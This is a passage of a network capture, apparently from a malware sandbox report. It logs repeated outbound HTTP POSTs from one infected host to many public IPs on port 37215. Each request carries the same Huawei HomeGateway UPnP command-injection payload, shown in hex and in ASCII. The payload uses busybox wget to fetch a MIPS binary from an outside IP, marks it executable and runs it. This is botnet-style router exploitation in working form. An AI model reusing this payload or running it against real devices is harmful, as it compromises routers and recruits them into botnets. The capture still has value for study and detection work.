6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
797	192.168.2.13	39322	156.207.139.16	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.781625032 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
798	192.168.2.13	39562	156.229.89.182	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.783251047 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
799	192.168.2.13	39098	156.138.11.171	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.784346104 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
800	192.168.2.13	60856	197.82.79.198	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.785255909 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
801	192.168.2.13	52216	156.193.153.44	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.786161900 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
802	192.168.2.13	56392	156.2.80.141	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.787074089 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
803	192.168.2.13	56284	156.174.49.82	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.788816929 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
804	192.168.2.13	51240	41.86.51.96	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.789774895 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
805	192.168.2.13	34792	41.189.9.139	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.791153908 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
806	192.168.2.13	51254	41.54.19.9	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.792331934 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
807	192.168.2.13	44336	197.253.198.195	37215

Timestamp	Bytes transferred	Direction	Data
